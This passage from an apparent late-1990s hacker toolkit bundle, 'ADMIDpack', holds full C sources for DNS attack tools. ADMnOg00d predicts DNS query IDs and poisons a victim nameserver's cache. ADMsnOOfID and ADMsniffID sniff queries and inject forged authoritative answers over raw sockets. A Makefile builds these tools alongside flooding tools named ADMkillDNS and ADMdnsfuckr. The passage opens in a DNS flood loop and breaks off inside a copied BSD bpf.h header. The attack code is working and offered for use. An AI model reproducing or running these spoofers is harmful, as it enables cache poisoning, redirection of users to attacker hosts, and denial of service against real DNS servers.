                  *( (u_short *) (data+strlen(namez)+1) ) = ntohs(12);
                  *( (u_short *) (data+strlen(namez)+3) ) = ntohs(1);
                  udp_send(sraw,s_ip,d_ip,2600+myrand(),53,buffer2,14+strlen(namez)+5);
                  s_ip=ntohl(s_ip);
                  s_ip++;
                  s_ip=htonl(s_ip);   
                 printf("send packet num %i:%i\n",x,i);   
            }
      } /* end of DNS DOS */
   
 
if(argc > 6 )idstart = atoi(argv[6]);
else
  idstart = ID_START;
if(argc > 7 )idstop  = atoi(argv[7]);
else
  idstop = ID_STOP;
  
if(argc > 8 ){
  portstart = atoi(argv[8]);
  portstop  = atoi(argv[9]);
  }

 else {
   portstart = PORT_START;
   portstop  = PORT_STOP;
   }
           

bzero(buffer2,sizeof(buffer2));
bzero(namez,sizeof(namez));
i=0;
x=0;
s_ip=s_ip2;
d_ip=d_ip2;


 
    for(;idstart<idstop;idstart++){
       dns->id      = htons(idstart);
       dns->qr      = 1;
       dns->rd      = 1;
       dns->aa      = 1;
       dns->que_num = htons(1);
       dns->rep_num = htons(1);
       printf("send awnser with id %i to port %i at port %i\n",idstart,portstart,portstop);                                          
       i=makepaketAW(data,argv[3],argv[4],TYPE_A);
       for(;x < portstop; x++)
          udp_send(sraw,s_ip,d_ip,53,x,buffer2,DNSHDRSIZE+i);
       x = portstart;
      }  
 
printf(" terminated..\n");
}
<-->
<++> ADMIDpack/ADMnOg00d.c
/***************************/
/* ADMnog00d (c) ADM       */
/***************************/
/*  ADM DNS ID PREDICTOR   */
/***************************/

#include <fcntl.h>
#include <unistd.h>           
#include "dns.h"
#include "ADM-spoof.c"
#include "ADMDNS2.c"


#define  VERSION "0.7 pub"
#define  SPOOFIP "4.4.4.4"
#define  ERROR  -1
#define  LEN   sizeof(struct sockaddr)
#define  UNDASPOOF "111.111.111.111"
#define  TIMEOUT 300
#define  DNSHDRSIZE 12

void usage()
{

   printf(" ADMnoG00D <your ip> <dns trust> <domaine trust> <ip victim> <TYPE> <spoof name> <spoof ip> <ns.trust.for.the.spoof> [ID] \n"); 
   printf("\n ex: ADMnoG00d ppp.evil.com ns1.victim.com provnet.fr ns.victim.com 1 mouhhahahaha.hol.fr 31.3.3.7 ns.isdnet.net [ID] \n");
   printf(" well... we going to poison ns.victime.com for they resolv mouhhahaha.hol.fr in 31.3.3.7\n");
   printf(" we use provnet.fr and ns1.provnet for find ID of ns.victim.com\n");
   printf(" we use ns.isdnet.net for spoof because they have auth on *.hol.fr\n");
   printf(" for more information..\n");
   printf(" check ftp.janova.org/pub/ADM/ \n");
   printf(" mail  ADM@janova.org \n");
   printf(" ask Heike from me...:) \n"); 
   exit(-1); 
}  

void senddnspkt(s,d_ip,wwwname,ip,dns)
int s;
u_long d_ip;
char *wwwname;
char *ip;
struct dnshdr *dns;
{
 struct sockaddr_in sin;
 int  i;
 char buffer[1024];
 char *data = (char *)(buffer+DNSHDRSIZE);
 bzero(buffer,sizeof(buffer));
 memcpy(buffer,dns,DNSHDRSIZE);

if(dns->qr == 0)
  {
   i=makepaketQS(data,wwwname,TYPE_A);
   sin.sin_family = AF_INET;
   sin.sin_port   = htons(53);
   sin.sin_addr.s_addr = d_ip;
   sendto(s,buffer,DNSHDRSIZE+i,0,(struct sockaddr *)&sin,LEN);
  }
 
 else
  {
  i=makepaketAW(data,wwwname,ip,TYPE_A);
  sin.sin_family = AF_INET;
  sin.sin_port   = htons(53);
  sin.sin_addr.s_addr = d_ip;
  sendto(s,buffer,DNSHDRSIZE+i,0,(struct sockaddr *)&sin,LEN);
  }
}
                    
 
  

void dns_qs_no_rd(s,d_ip,wwwname,ID)
int s;
u_long d_ip;
char *wwwname;
int ID;
{
struct dnshdr *dns;
char   *data;
char   buffer[1024];
int i;

dns  = (struct dnshdr *)buffer;
data = (char *)(buffer+DNSHDRSIZE);
bzero(buffer,sizeof(buffer));

       dns->id      = htons(ID);
       dns->qr      = 0;
       dns->rd      = 0; /* dont want the recusion !! */
       dns->aa      = 0;
       dns->que_num = htons(1);
       dns->rep_num = htons(0);
       i=makepaketQS(data,wwwname,TYPE_A);
       senddnspkt(s,d_ip,wwwname,NULL,dns);
}
       
    
                                                                
                     
void main(int argc, char **argv)
     {
         struct   sockaddr_in sin_rcp;
	 struct   dnshdr *dns,  *dns_recv;
	 char            *data, *data2;
         char            buffer2[4000];
         char            buffer[4000];
         char            spoofname[255];
         char            spoofip[255];
         char            dnstrust[255];
         char            bla[255];
         char            *alacon;
         unsigned char   fakename[255];
         unsigned char   namez[255];     
	 unsigned long   s_ip,  s_ip2;
	 unsigned long   d_ip,  d_ip2, trust;
         unsigned int    DA_ID = 65535, loop = 65535;                      
	          int    sraw, s_r, i, on=1, x, ID,timez;
	          int    len = sizeof(struct sockaddr);
 
 dns_recv = (struct dnshdr *)(buffer);
 data2    = (char *)(buffer+DNSHDRSIZE);
 dns      = (struct dnshdr *)buffer2;
 data     = (char *)(buffer2+DNSHDRSIZE);
 
 bzero(buffer2,sizeof(buffer2));
 srand(time(NULL));
        

if( (s_r=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) == ERROR ){
     perror("socket");
     exit(ERROR);
     }  

 
  if( (fcntl(s_r,F_SETFL,O_NONBLOCK)) == ERROR ){
     perror("fcntl");
     exit(ERROR);
     }      
 
         
if ((sraw = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR ){
    perror("socket");
    exit(ERROR);
    }
    
if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == ERROR)){
    perror("setsockopt");
    exit(ERROR);
    }
 
 if(argc < 2) usage();
 
 
 if(argc > 9 )DA_ID = loop = atoi(argv[9]);
  
if(argc > 6)strcpy(spoofname,argv[6]);
 else{
     printf("enter the name you wanna spoof:");
     scanf("%s",spoofname);
    }

if(argc > 7)strcpy(bla,argv[7]);
  else{
     printf("enter the ip's  of the spoof name:");
     scanf("%s",bla);
    }
  
  alacon =(char *)inet_ntoa(host2ip(bla));
  strcpy(spoofip,alacon);
    
    
  
  if( argc > 8 ) strcpy(bla,argv[8]);
  else{
      printf("enter the DNS trust of the victim:");
       scanf("%s",bla);
      }
  
  alacon =(char *)inet_ntoa(host2ip(bla));
  strcpy(dnstrust,alacon);
                       
             
 
 printf("ADMnoG00d %s\n",VERSION); 
 printf("\033[1mHeike\033[0m ownz Me So g\033[5m\033[36m0\033[0m\033[1m0\033[0md\n");
 sleep(1);
 printf("\nLets Play =)!!\n");  

/* save some param */ 
s_ip2        = host2ip(argv[1]);
d_ip2 = d_ip = host2ip(argv[4]);
trust =        host2ip(argv[2]);
s_ip         = host2ip(UNDASPOOF);


while(1){

      
       sprintf(fakename,"%i%i%i%i%i%i.%s",
               myrand(),
               myrand(),
               myrand(),
               myrand(),
               myrand(),
               myrand(),
               argv[3]);
       
     sendquestion(s_ip,d_ip,fakename,TYPE_A);
       
      
    /* end of question packet */
   

    bzero(buffer2,sizeof(buffer2)); /* RE init some variable */
    bzero(namez,sizeof(namez)); 
    i=0; 
    x=0;


/* here  start the spoof anwser */

ID = loop;

for(;loop >= ID-10 ;loop--){
       dns->id      = htons(loop);
       dns->qr      = 1;
       dns->rd      = 1;
       dns->aa      = 1;
       dns->que_num = htons(1);
       dns->rep_num = htons(1);
                                                 
       i=makepaketAW(data,fakename,SPOOFIP,TYPE_A);
       udp_send(sraw,trust,d_ip2,53,53,buffer2,DNSHDRSIZE+i);
    }
 
bzero(buffer2,sizeof(buffer2)); /* RE init some variable */
bzero(namez,sizeof(namez));
i=0;
x=0;
             
 /* time for test spoof     */

 dns_qs_no_rd(s_r,d_ip2,fakename,myrand()); /* here we sending question */
                                            /* non recursive ! */
     
 /* we waiting for awnser ... */
     
 while(1){    
  for(timez=0;timez < TIMEOUT; timez++){
     if( recvfrom(s_r,buffer,sizeof(buffer),0,(struct sockaddr *)&sin_rcp,&len) != -1 )
       {
        printf("ok whe have the reponse ;)\n");
        timez = 0;
        break;
       }
     usleep(10);
     timez++;
    }
   if(timez != 0){
     printf("hum no reponse from the NS ressend question..\n");
     dns_qs_no_rd(s_r,d_ip2,fakename,myrand());
     }
   else break;
 } 
   /* ok we have a awnser */
   printf("fakename = %s\n",fakename);
       if(sin_rcp.sin_addr.s_addr ==  d_ip2 )
          if(sin_rcp.sin_port == htons(53) )
            {
             if( dns_recv->qr == 1 )
                if( dns_recv->rep_num == 0 ) /* hum we dont have found the right ID */                                              
                       printf("try %i < ID < %i \n",ID-10,ID);
         
                    else{
                     /* Hoho we have  the spoof has worked we have found the right ID ! */
                     printf("the DNS ID of %s iz %i< ID <%i !!\n",argv[4],loop-10,loop);
                     printf("let's send the spoof...\n");
                     dnsspoof(dnstrust,argv[4],spoofname,spoofip,loop,atoi(argv[5]));          
                     printf("spoof sended ...\n");
                     exit(0);
                     }                  
              } /* end of if (sin_rcp.sin_port == htons(53) ) */
      bzero(buffer,sizeof(buffer));    
           
  } /* end of while loop */ 

}/* end of proggies */ 
<-->
<++> ADMIDpack/ADMsnOOfID.c
#include "ADM-spoof.c"
#include "dns.h"
#include "ADMDNS2.c"
#include <pcap.h>
#include <net/if.h>

#define  DNSHDRSIZE 12
#define  SPOOF      "127.0.0.1"       
#define  VERSION    "ver 0.6 pub"
#define  ERROR      -1

int ETHHDRSIZE;
                     
void main(argc, argv)
int argc;
char *argv[];
   {
   struct pcap_pkthdr h;
   struct pcap *pcap_d;
      	 struct   iphdr  *ip;
	 struct   udphdr *udp;
	 struct   dnshdr *dnsrecv,*dnssend;
	 char            *data;
	 char            *data2;
	 char            *buffer;
         char            namefake[255];
         char            buffer2[1024];
	 char            ebuf[255];
	 char            spoofname[255];
	 char            spoofip[255];
	 char            bla[255];
	 char            dnstrust[255];
	 char            *alacon;
	 unsigned long   s_ipns;
	 unsigned long   d_ip;                     
	 
	 int  sraw, i, on=1, con, ID,DA_ID,type;

srand( (time(NULL) % random() * random()) );


if(argc <2){
  printf("usage : %s <device> <ns.victim.com> <your domain> <IP of ur NS> <type 1,12> <spoofname> <spoof ip> <ns trust> \n",argv[0]); 
  printf("ex: %s eth0 ns.victim.com hacker.org 123.4.5.36 12 damn.diz.ip.iz.ereet.ya mail.provnet.fr ns2.provnet.fr  \n",argv[0]);
  printf(" So ... we tryed to poison victim.com with type 12 (PTR) .. now if som1 asked for the ip of mail.provnet.fr they have resoled to damn.diz.ip.iz.ereet.ya\n"); 
  exit(0);
  }

if(strstr(argv[1],"ppp0"))ETHHDRSIZE = 0;
 else ETHHDRSIZE = 14;

if(argc>5)type=atoi(argv[5]);


if(argc > 6)strcpy(spoofname,argv[6]);
 else{
  printf("enter the name you wanna spoof:");
  scanf("%s",spoofname);
 }
 
 if(argc > 7)strcpy(bla,argv[7]);
 else{
      printf("enter the ip's  of the spoof name:");
      scanf("%s",bla);
    }
                               
 alacon =(char *)inet_ntoa(host2ip(bla));
 strcpy(spoofip,alacon);
                                   
if(argc > 8)strcpy(bla,argv[8]);
else{
    printf("enter the dns trust for the spoof\n");
    scanf("%s",bla);
    }
  alacon =(char *)inet_ntoa(host2ip(bla));
  strcpy(dnstrust,alacon);
   
 
 dnssend = (struct dnshdr  *)buffer2;
 data2   = (char *)(buffer2+DNSHDRSIZE);

 bzero(buffer2,sizeof(buffer2));
   
   
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
  perror("socket");
  exit(ERROR);
  }
  
if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
 perror("setsockopt");
 exit(ERROR);
 }
 
 printf("ADMsn0ofID.c %s ADM ID sniffer\n",VERSION);
 printf("ADMsnO0fID (\033[5m\033[01mc\033[0m) ADM,Heike\n");
 sleep(1);
 
 pcap_d = pcap_open_live(argv[1],1024,0,100,ebuf);

s_ipns = host2ip(argv[4]);
d_ip   = host2ip(argv[2]);
con    = myrand();

/* make the question for get the ID */

sprintf(namefake,"%d%d%d.%s",myrand(),myrand(),myrand(),argv[3]); 
dnssend->id      = 2600;
dnssend->qr      = 0;
dnssend->rd      = 1;
dnssend->aa      = 0;
dnssend->que_num = htons(1);
dnssend->rep_num = htons(0);
i = makepaketQS(data2,namefake,TYPE_A);
udp_send(sraw, s_ipns, d_ip,2600+con, 53, buffer2, DNSHDRSIZE+i);
printf("Question sended...\n");                                                                
printf("Its Time to w8 \n");

while(1)
{ 
  buffer = (u_char *)pcap_next(pcap_d,&h); /* catch the packet */  
  
  ip      = (struct iphdr   *)(buffer+ETHHDRSIZE);
  udp     = (struct udphdr  *)(buffer+ETHHDRSIZE+IPHDRSIZE);
  dnsrecv = (struct dnshdr  *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE);
  data    = (char *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);

if(ip->protocol == IPPROTO_UDP){
printf("[%s:%i ->",inet_ntoa(ip->saddr),ntohs(udp->source));
printf("%s:%i]\n",inet_ntoa(ip->daddr),ntohs(udp->dest));
}

    if(ip->protocol == 17 )     
      if(ip->saddr.s_addr  == d_ip )
        if(ip->daddr.s_addr == s_ipns ) 
          if(udp->dest  == htons(53) )
            if(dnsrecv->qr == 0 )
             {
             printf("kewl :)~ we have the packet !\n");
             
             ID = dnsrecv->id ;    /* we get the id         */
             
             printf("the current id of %s is %d \n",argv[2],ntohs(ID));
             
             DA_ID = ntohs(ID);
           
    
             printf("send the spoof...\n");
            
             dnsspoof(dnstrust,argv[2],spoofname,spoofip,DA_ID,type); 
           
             printf("spoof sended...\n");
            
             exit(0);
            }    
      
      
 
  }
 
  /* well now we have the ID we cant predict the ID */ 
 
 }
<-->
<++> ADMIDpack/ADMsniffID.c

#include <pcap.h>

#include "ADM-spoof.c"
#include "dns.h"
#include "ADMDNS2.c"

#define  ERROR	    -1                
#define  DNSHDRSIZE 12    
#define  VERSION    "ver 0.4 pub" 

int ETHHDRSIZE;

void usage(){
 printf("usage : ADMsniffID <device> <IP> <name> <type of spoof[1,12]> \n");
 printf("ex: ADMsniffID eth0 \"127.0.0.1\" \"www.its.me.com\" \n");
 exit(ERROR);
}       
                     
void main(int argc, char **argv)
   {     
   struct pcap_pkthdr h;
   struct pcap *pcap_d;
	 struct   iphdr  *ip;
	 struct   udphdr *udp;
	 struct   dnshdr *dnsrecv,*dnssend;
	 char            *data;
	 char            *data2;
	 char            *buffer;
         char            SPOOFIP[255];
         char            bla[255];
         char            spoofname[255];
         char            tmp2[255];
         char            ebuf[255];
         char            buffer2[1024];    
         unsigned char   namez[255];                          
	 int sraw,on=1,tmp1,type;


if(argc <2)usage();
if(strstr(argv[1],"ppp0"))ETHHDRSIZE = 0;
  else ETHHDRSIZE = 14; 
	
strcpy(SPOOFIP,argv[2]);
strcpy(spoofname,argv[3]);
type = atoi(argv[4]);
  
/* Buffer 'n' tcp/ip stuff */
 
 dnssend = (struct dnshdr  *)buffer2;
 data2   = (char *)(buffer2+12);

 
 
 /* bzero(buffer,sizeof(buffer));          */
 bzero(bla,sizeof(bla));
 bzero(buffer2,sizeof(buffer2));
   
  
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
    perror("socket");
    exit(ERROR);
    }

if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
  perror("setsockopt");
  exit(ERROR);
  }    
 
 /* open pcap descriptor */
 
 pcap_d = pcap_open_live(argv[1],sizeof(buffer),0,100,ebuf);
        
printf("ADMsniffID %s (c) ADMnHeike\n",VERSION);

while(1){    
 
 buffer =(u_char *)pcap_next(pcap_d,&h); /* catch the packet */
  
    
 ip      = (struct iphdr   *)(buffer+ETHHDRSIZE);
 udp     = (struct udphdr  *)(buffer+ETHHDRSIZE+IPHDRSIZE);
 dnsrecv = (struct dnshdr  *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE);
 data    = (char *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE);

 if(ip->protocol == 17)
  if(udp->dest == htons(53) )    
    if(dnsrecv->qr == 0)
      {
     strcpy(namez,data); 
     nameformat(namez,bla);
     printf("hum we have a DNS question from %s diz guyz wanna %s!\n",inet_ntoa(ip->saddr),(char *)bla); 
             
     bzero(bla,sizeof(bla));
     printf("the question have the type %i and type of the query %i\n"
            ,ntohs(*((u_short *)(data+strlen(data)+1)))
            ,ntohs(*((u_short *)(data+strlen(data)+2+1))));
    
     /* well in diz version we only spoof  the type 'A'       */
     /* check out for a new version in ftp.janova.org/pub/ADM */
       
   
     printf("make the spoof packet...\n");
     printf("dns header\n");  

     /* here we gonna start to make the spoofed paket :)*/
       
       memcpy(dnssend,dnsrecv,DNSHDRSIZE+strlen(namez)+5);
       
       dnssend->id=dnsrecv->id;         /* haha the ID ;)     */   
       dnssend->aa=1;  		        /* i've the authority */ 
       dnssend->ra=1;                   /* i've the recusion  */
       dnssend->qr=1;                   /* its a awser        */
       dnssend->rep_num = htons(1);     /* i've one awnser    */

            
     printf("ID=%i\nnumba of question=%i\nnumba of awnser =%i\n"
            ,dnssend->id,ntohs(dnssend->que_num),ntohs(dnssend->rep_num));  
     printf("Question..\n");
     printf("domainename=%s\n",data2);
     printf("type of question=%i\n",ntohs(*((u_short *)(data2+strlen(namez)+1))));
     printf("type of query=%i\n",ntohs(*((u_short *)(data2+strlen(namez)+1+2))));
     
      if( type ==   TYPE_PTR){ 
        tmp1=strlen(namez)+5;
        strcpy(data2+tmp1,namez);
        tmp1=tmp1+strlen(namez)+1;                            
        
        bzero(tmp2,sizeof(tmp2));
        nameformat(spoofname,tmp2); 
        printf("tmp2 = %s\n",tmp2);
     
      
      printf(" mouhahahah \n");
      *((u_short  *)(data2+tmp1)) = htons(TYPE_PTR);   
      *((u_short  *)(data2+tmp1+2))       = htons(1);
      *((u_long *)(data2+tmp1+2+2))       = htonl(86400);
      *((u_short  *)(data2+tmp1+2+2+4))   = htons(strlen((tmp2)+1));
      printf("bhaa?.\n");
      strcpy((data2+tmp1+2+2+4+2),tmp2);
      printf(" ouf !! =) \n");
      tmp1 = tmp1 +strlen(tmp2)+ 1;
   
    }
      
      if( type  == TYPE_A){
      tmp1=strlen(namez)+5;
      strcpy(data2+tmp1,namez);
      tmp1=tmp1+strlen(namez)+1;
      *((u_short  *)(data2+tmp1))         = htons(TYPE_A);
      *((u_short  *)(data2+tmp1+2))       = htons(1);
      *((u_long *)(data2+tmp1+2+2))       = htonl(86400);      
      *((u_short  *)(data2+tmp1+2+2+4))   = htons(4);
      *((u_long *)(data2+tmp1+2+2+4+2)) = host2ip(SPOOFIP);
                  
      }
                        
    printf("Answer..\n");
    printf("domainname=%s\n",tmp2);
    printf("type=%i\n",ntohs(*((u_short  *)(data2+tmp1))));
    printf("classe=%i\n",ntohs(*((u_short  *)(data2+tmp1+2))));
    printf("time to live=%u\n",ntohl(*((u_long *)(data2+tmp1+2+2))));
    printf("resource data lenght=%i\n",ntohs(*((u_short  *)(data2+tmp1+2+2+4))));
    printf("IP=%s\n",inet_ntoa(*((u_long *)(data2+tmp1+2+2+4+2))));
    
    tmp1=tmp1+2+2+4+2+4; /* now tmp1 == the total length of packet dns */
    			 /* without the dnshdr                         */
          
      
      udp_send(sraw
              ,ip->daddr
              ,ip->saddr
              ,ntohs(udp->dest)
              ,ntohs(udp->source)
              ,buffer2
              ,DNSHDRSIZE+tmp1);
           } /* end of the spoof             */           
  } /* end of while(1)                     */
} /* The End !! ;)                        */
<-->
<++> ADMIDpack/Makefile
# version 0.1
#/usr/contrib/bin/gcc -L. -I. ADMkillDNS.c -lsocket -lnsl -lpcap -o ../ADMbin/ADMkillDNS 
SHELL  = /bin/sh
# uncomment this if your are not on LinuX
#LIBS   = -lsocket -lnsl -lpcap
#
CC = gcc
LIBS = -lpcap
BIN = .
CFLAGS = -I. -L.  
all: ADMkillDNS ADMsnOOfID ADMsniffID ADMdnsfuckr ADMnOg00d

ADMkillDNS: ADMkillDNS.c
	$(CC) $(CFLAGS) ADMkillDNS.c  $(LIBS) -o $(BIN)/ADMkillDNS 

ADMsnOOfID: ADMsnOOfID.c
	$(CC) $(CFLAGS) ADMsnOOfID.c  $(LIBS) -o $(BIN)/ADMsnOOfID 

ADMsniffID: ADMsniffID.c
	$(CC) $(CFLAGS) ADMsniffID.c  $(LIBS) -o $(BIN)/ADMsniffID 

ADMdnsfuckr: ADMdnsfuckr.c
	$(CC) $(CFLAGS) ADMdnsfuckr.c $(LIBS) -o $(BIN)/ADMdnsfuckr  

ADMnOg00d: ADMnOg00d.c
	$(CC) $(CFLAGS) ADMnOg00d.c   $(LIBS) -o $(BIN)/ADMnOg00d   

clean:
	rm -f $(BIN)/*o $(BIN)/ADMsniffID $(BIN)/ADMsnOOfID $(BIN)/ADMnOg00d \
	$(BIN)/ADMkillDNS $(BIN)/ADMdnsfuckr
<-->
<++> ADMIDpack/bpf.h
/*-
 * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997
 *	The Regents of the University of California.  All rights reserved.
 *
 * This code is derived from the Stanford/CMU enet packet filter,
 * (net/enet.c) distributed as part of 4.3BSD, and code contributed
 * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence 
 * Berkeley Laboratory.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *      This product includes software developed by the University of
 *      California, Berkeley and its contributors.
 * 4. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *      @(#)bpf.h       7.1 (Berkeley) 5/7/91
 *
 * @(#) $Header: bpf.h,v 1.36 97/06/12 14:29:53 leres Exp $ (LBL)
 */

#ifndef BPF_MAJOR_VERSION

/* BSD style release date */
#define BPF_RELEASE 199606

typedef	int bpf_int32;
typedef	u_int bpf_u_int32;

/*
 * Alignment macros.  BPF_WORDALIGN rounds up to the next 
 * even multiple of BPF_ALIGNMENT. 
 */
#define BPF_ALIGNMENT sizeof(bpf_int32)
#define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT-1))&~(BPF_ALIGNMENT-1))

#define BPF_MAXINSNS 512
#define BPF_MAXBUFSIZE 0x8000
#define BPF_MINBUFSIZE 32

/*
 *  Structure for BIOCSETF.
 */
struct bpf_program {
	u_int bf_len;
	struct bpf_insn *bf_insns;
};
 
/*
 * Struct returned by BIOCGSTATS.
 */
struct bpf_stat {
	u_int bs_recv;		/* number of packets received */
	u_int bs_drop;		/* number of packets dropped */
};

/*
 * Struct return by BIOCVERSION.  This represents the version number of 
 * the filter language described by the instruction encodings below.
 * bpf understands a program iff kernel_major == filter_major &&
 * kernel_minor >= filter_minor, that is, if the value returned by the
 * running kernel has the same major number and a minor number equal
 * equal to or less than the filter being downloaded.  Otherwise, the
 * results are undefined, meaning an error may be returned or packets
 * may be accepted haphazardly.
 * It has nothing to do with the source code version.
 */
struct bpf_version {
	u_short bv_major;
	u_short bv_minor;
};
/* Current version number of filter architecture. */
#define BPF_MAJOR_VERSION 1
#define BPF_MINOR_VERSION 1

/*
 * BPF ioctls
 *
 * The first set is for compatibility with Sun's pcc style
 * header files.  If your using gcc, we assume that you
 * have run fixincludes so the latter set should work.
 */
#if (defined(sun) || defined(ibm032)) && !defined(__GNUC__)
#define	BIOCGBLEN	_IOR(B,102, u_int)
#define	BIOCSBLEN	_IOWR(B,102, u_int)
#define	BIOCSETF	_IOW(B,103, struct bpf_program)
#define	BIOCFLUSH	_IO(B,104)
#define BIOCPROMISC	_IO(B,105)
#define	BIOCGDLT	_IOR(B,106, u_int)
#define BIOCGETIF	_IOR(B,107, struct ifreq)
#define BIOCSETIF	_IOW(B,108, struct ifreq)
#define BIOCSRTIMEOUT	_IOW(B,109, struct timeval)
#define BIOCGRTIMEOUT	_IOR(B,110, struct timeval)
#define BIOCGSTATS	_IOR(B,111, struct bpf_stat)
#define BIOCIMMEDIATE	_IOW(B,112, u_int)
#define BIOCVERSION	_IOR(B,113, struct bpf_version)
#define BIOCSTCPF	_IOW(B,114, struct bpf_program)
#define BIOCSUDPF	_IOW(B,115, struct bpf_program)
#else
#define	BIOCGBLEN	_IOR('B',102, u_int)
#define	BIOCSBLEN	_IOWR('B',102, u_int)
#define	BIOCSETF	_IOW('B',103, struct bpf_program)
#define	BIOCFLUSH	_IO('B',104)
#define BIOCPROMISC	_IO('B',105)
#define	BIOCGDLT	_IOR('B',106, u_int)
#define BIOCGETIF	_IOR('B',107, struct ifreq)
#define BIOCSETIF	_IOW('B',108, struct ifreq)
#define BIOCSRTIMEOUT	_IOW('B',109, struct timeval)
#define BIOCGRTIMEOUT	_IOR('B',110, struct timeval)
#define BIOCGSTATS	_IOR('B',111, struct bpf_stat)
#define BIOCIMMEDIATE	_IOW('B',112, u_int)
#define BIOCVERSION	_IOR('B',113, struct bpf_version)
#define BIOCSTCPF	_IOW('B',114, struct bpf_program)
#define BIOCSUDPF	_IOW('B',115, struct bpf_program)
#endif

/*
 * Structure prepended to each packet.
 */
struct bpf_hdr {
	struct timeval	bh_tstamp;	/* time stamp */
	bpf_u_int32	bh_caplen;	/* length of captured portion */
	bpf_u_int32	bh_datalen;	/* original length of packet */
	u_short		bh_hdrlen;	/* length of bpf header (this struct
					   plus alignment padding) */
};
/*
 * Because the structure above is not a multiple of 4 bytes, some compilers
 * will insist on inserting padding; hence, sizeof(struct bpf_hdr) won't work.
 * Only the kernel needs to know about it; applications use bh_hdrlen.
 */
#ifdef KERNEL
#define SIZEOF_BPF_HDR 18
#endif

/*
 * Data-link level type codes.
 */
#define DLT_NULL	0	/* no link-layer encapsulation */
#define DLT_EN10MB	1	/* Ethernet (10Mb) */
#define DLT_EN3MB	2	/* Experimental Ethernet (3Mb) */
#define DLT_AX25	3	/* Amateur Radio AX.25 */
#define DLT_PRONET	4	/* Proteon ProNET Token Ring */
#define DLT_CHAOS	5	/* Chaos */
#define DLT_IEEE802	6	/* IEEE 802 Networks */
#define DLT_ARCNET	7	/* ARCNET */
#define DLT_SLIP	8	/* Serial Line IP */
#define DLT_PPP		9	/* Point-to-point Protocol */
#define DLT_FDDI	10	/* FDDI */
#define DLT_ATM_RFC1483	11	/* LLC/SNAP encapsulated atm */
#define DLT_RAW		12	/* raw IP */
#define DLT_SLIP_BSDOS	13	/* BSD/OS Serial Line IP */
#define DLT_PPP_BSDOS	14	/* BSD/OS Point-to-point Protocol */

/*
 * The instruction encondings.
 */
/* instruction classes */
#define BPF_CLASS(code) ((code) & 0x07)
#define		BPF_LD		0x00
#define		BPF_LDX		0x01
#define		BPF_ST		0x02
#define		BPF_STX		0x03
#define		BPF_ALU		0x04
#define		BPF_JMP		0x05
#define		BPF_RET		0x06
#define		BPF_MISC	0x07

/* ld/ldx fields */
#define BPF_SIZE(code)	((code) & 0x18)
#define		BPF_W		0x00
#define		BPF_H		0x08
#define		BPF_B		0x10
#define BPF_MODE(code)	((code) & 0xe0)
#define		BPF_IMM 	0x00
#define		BPF_ABS		0x20
#define		BPF_IND		0x40
#define		BPF_MEM		0x60
#define		BPF_LEN		0x80
#define		BPF_MSH		0xa0

/* alu/jmp fields */
#define BPF_OP(code)	((code) & 0xf0)
#define		BPF_ADD		0x00
#define		BPF_SUB		0x10
#define		BPF_MUL		0x20
#define		BPF_DIV		0x30
#define		BPF_OR		0x40
#define		BPF_AND		0x50
#define		BPF_LSH		0x60
#define		BPF_RSH		0x70
#define		BPF_NEG		0x80
#define		BPF_JA		0x00
#define		BPF_JEQ		0x10
#define		BPF_JGT		0x20
#define		BPF_JGE		0x30
#define		BPF_JSET	0x40
#define BPF_SRC(code)	((code) & 0x08)
#define		BPF_K		0x00
#define		BPF_X		0x08

/* ret - BPF_K and BPF_X also apply */
#define BPF_RVAL(code)	((code) & 0x18)
#define		BPF_A		0x10

/* misc */
#define BPF_MISCOP(code) ((code) & 0xf8)
#define		BPF_TAX		0x00
#define		BPF_TXA		0x80

/*
 * The instruction data structure.
 */
struct bpf_insn {
	u_short	code;
	u_char 	jt;
	u_char 	jf;
	bpf_int32 k;
};

/*
 * Macros for insn array initializers.
 */
#define BPF_STMT(code, k) { (u_short)(code), 0, 0, k }
#define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k }

#ifdef KERNEL
extern u_int bpf_filter();
extern void bpfattach();
